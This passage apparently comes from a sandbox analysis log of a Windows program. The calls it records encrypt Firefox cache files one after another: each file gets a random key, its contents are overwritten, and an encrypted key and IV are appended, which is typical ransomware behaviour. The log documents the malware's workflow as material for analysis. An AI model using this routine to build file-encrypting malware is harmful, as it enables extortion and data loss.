(in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30eb1a8 | out: pbBuffer=0x30eb1a8) returned 1 [0184.308] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0184.308] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\D15AA3B10C893A34006CFA102844CDA3AC93C251", dwFileAttributes=0x80) returned 1 [0184.308] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30eb0a0 [0184.308] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0184.308] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef880, nNumberOfBytesToRead=0xef7, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesRead=0x2e1f9bc*=0xef7, lpOverlapped=0x0) returned 1 [0184.317] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3831, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.317] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f0780*, nNumberOfBytesToWrite=0xef7, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f0780*, lpNumberOfBytesWritten=0x2e1f9bc*=0xef7, lpOverlapped=0x0) returned 1 [0184.317] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xef7 [0184.318] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0184.318] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30eb1a8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30eb1a8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0184.318] WriteFile (in: hFile=0x1b80, lpBuffer=0x30eb1a8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30eb1a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0184.318] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0184.318] CloseHandle (hObject=0x1b80) returned 1 [0184.320] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30eb3b8 | out: pbBuffer=0x30eb3b8) returned 1 [0184.320] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0184.320] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\D0DB7366CD05C6998AD218302336C53880559F7E", dwFileAttributes=0x80) returned 1 [0184.320] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30eca68 [0184.320] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0184.320] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef880, nNumberOfBytesToRead=0x2401, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesRead=0x2e1f9bc*=0x2401, lpOverlapped=0x0) returned 1 [0184.327] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-9217, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.327] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f1c90*, nNumberOfBytesToWrite=0x2401, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f1c90*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2401, lpOverlapped=0x0) returned 1 [0184.328] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2401 [0184.328] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0184.328] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30eb3b8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30eb3b8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0184.328] WriteFile (in: hFile=0x1b80, lpBuffer=0x30eb3b8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30eb3b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0184.329] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0184.329] CloseHandle (hObject=0x1b80) returned 1 [0184.330] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ed5c0 | out: pbBuffer=0x30ed5c0) returned 1 [0184.330] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0184.331] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\D04EEBE4CAD296A12D74364C89C4C67B17DA3986", dwFileAttributes=0x80) returned 1 [0184.331] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30ed9e0 [0184.331] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0184.331] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef880, nNumberOfBytesToRead=0x2cb9, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesRead=0x2e1f9bc*=0x2cb9, lpOverlapped=0x0) returned 1 [0184.348] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-11449, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.348] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f2548*, nNumberOfBytesToWrite=0x2cb9, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f2548*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2cb9, lpOverlapped=0x0) returned 1 [0184.348] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2cb9 [0184.348] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0184.348] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30ed5c0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30ed5c0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0184.349] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ed5c0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ed5c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0184.349] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0184.349] CloseHandle (hObject=0x1b80) returned 1 [0184.351] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30edf08 | out: pbBuffer=0x30edf08) returned 1 [0184.351] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0184.351] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\CFDFD75D65B5C0F7E327162782A486D37AC5AD4F", dwFileAttributes=0x80) returned 1 [0184.351] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30ed1a0 [0184.351] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0184.351] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef880, nNumberOfBytesToRead=0x713c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesRead=0x2e1f9bc*=0x713c, lpOverlapped=0x0) returned 1 [0184.358] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-28988, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.358] WriteFile (in: hFile=0x1b80, lpBuffer=0x2eeb018*, nNumberOfBytesToWrite=0x713c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesWritten=0x2e1f9bc*=0x713c, lpOverlapped=0x0) returned 1 [0184.358] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x713c [0184.358] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0184.359] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30edf08*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30edf08*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0184.359] WriteFile (in: hFile=0x1b80, lpBuffer=0x30edf08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30edf08*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0184.359] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0184.359] CloseHandle (hObject=0x1b80) returned 1 [0184.362] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30eae78 | out: pbBuffer=0x30eae78) returned 1 [0184.362] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0184.362] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\CEB82D261AB0BF52781F3BA7EA138F52DE2ACE63", dwFileAttributes=0x80) returned 1 [0184.363] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30ed7d0 [0184.363] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0184.363] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x52a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x52a, lpOverlapped=0x0) returned 1 [0184.390] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1322, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.390] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ef880*, nNumberOfBytesToWrite=0x52a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesWritten=0x2e1f9bc*=0x52a, lpOverlapped=0x0) returned 1 [0184.391] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x52a [0184.391] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0184.391] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30eae78*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30eae78*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0184.392] WriteFile (in: hFile=0x1b80, lpBuffer=0x30eae78*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30eae78*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0184.392] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0184.393] CloseHandle (hObject=0x1b80) returned 1 [0184.395] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30eac68 | out: pbBuffer=0x30eac68) returned 1 [0184.395] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0184.395] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\CE5E76DE3CA9429148F74B96ABB82C26C86133FB", dwFileAttributes=0x80) returned 1 [0184.396] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30eae78 [0184.396] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0184.396] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef880, nNumberOfBytesToRead=0x3c60, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesRead=0x2e1f9bc*=0x3c60, lpOverlapped=0x0) returned 1 [0184.453] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-15456, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.453] WriteFile (in: hFile=0x1b80, lpBuffer=0x2eeb018*, nNumberOfBytesToWrite=0x3c60, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3c60, lpOverlapped=0x0) returned 1 [0184.454] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3c60 [0184.454] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0184.454] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30eac68*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30eac68*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0184.455] WriteFile (in: hFile=0x1b80, lpBuffer=0x30eac68*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30eac68*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0184.455] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0184.455] CloseHandle (hObject=0x1b80) returned 1 [0184.457] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30eab60 | out: pbBuffer=0x30eab60) returned 1 [0184.457] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0184.457] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\CD90A13FDDB729164DCAA53582179521892D1AD3", dwFileAttributes=0x80) returned 1 [0184.458] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30eac68 [0184.458] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0184.458] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef880, nNumberOfBytesToRead=0xd33, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesRead=0x2e1f9bc*=0xd33, lpOverlapped=0x0) returned 1 [0184.469] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3379, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.469] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f05c0*, nNumberOfBytesToWrite=0xd33, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f05c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0xd33, lpOverlapped=0x0) returned 1 [0184.469] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xd33 [0184.469] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0184.470] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30eab60*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30eab60*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0184.470] WriteFile (in: hFile=0x1b80, lpBuffer=0x30eab60*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30eab60*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0184.470] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0184.471] CloseHandle (hObject=0x1b80) returned 1 [0184.472] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30eaa58 | out: pbBuffer=0x30eaa58) returned 1 [0184.472] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0184.472] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\CD054398D4C8F7E0F984E5C9895F3CE31CC87DD9", dwFileAttributes=0x80) returned 1 [0184.473] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30eab60 [0184.473] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0184.473] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef880, nNumberOfBytesToRead=0x15b1, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesRead=0x2e1f9bc*=0x15b1, lpOverlapped=0x0) returned 1 [0184.494] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-5553, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.494] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f0e40*, nNumberOfBytesToWrite=0x15b1, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f0e40*, lpNumberOfBytesWritten=0x2e1f9bc*=0x15b1, lpOverlapped=0x0) returned 1 [0184.495] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x15b1 [0184.495] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0184.495] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30eaa58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30eaa58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0184.495] WriteFile (in: hFile=0x1b80, lpBuffer=0x30eaa58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30eaa58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0184.495] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0184.495] CloseHandle (hObject=0x1b80) returned 1 [0184.497] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ea218 | out: pbBuffer=0x30ea218) returned 1 [0184.497] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0184.497] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\CC822E0B9DE14A05893A5AE29833AF53519F93AB", dwFileAttributes=0x80) returned 1 [0184.498] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30ea638 [0184.498] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0184.498] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef880, nNumberOfBytesToRead=0x573d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesRead=0x2e1f9bc*=0x573d, lpOverlapped=0x0) returned 1 [0184.504] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-22333, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.504] WriteFile (in: hFile=0x1b80, lpBuffer=0x2eeb018*, nNumberOfBytesToWrite=0x573d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesWritten=0x2e1f9bc*=0x573d, lpOverlapped=0x0) returned 1 [0184.505] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x573d [0184.505] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0184.505] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30ea218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30ea218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0184.505] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ea218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ea218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0184.505] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0184.506] CloseHandle (hObject=0x1b80) returned 1 [0184.507] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ea638 | out: pbBuffer=0x30ea638) returned 1 [0184.507] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0184.507] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\CBBE6FE83304DB3A9E58933FD23A23CEEAF12F21", dwFileAttributes=0x80) returned 1 [0184.508] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30eac68 [0184.508] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0184.508] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x52a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x52a, lpOverlapped=0x0) returned 1 [0184.553] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1322, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.553] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ef880*, nNumberOfBytesToWrite=0x52a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesWritten=0x2e1f9bc*=0x52a, lpOverlapped=0x0) returned 1 [0184.553] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x52a [0184.553] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0184.553] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30ea638*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30ea638*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0184.554] WriteFile (in: hFile=0x1b80, 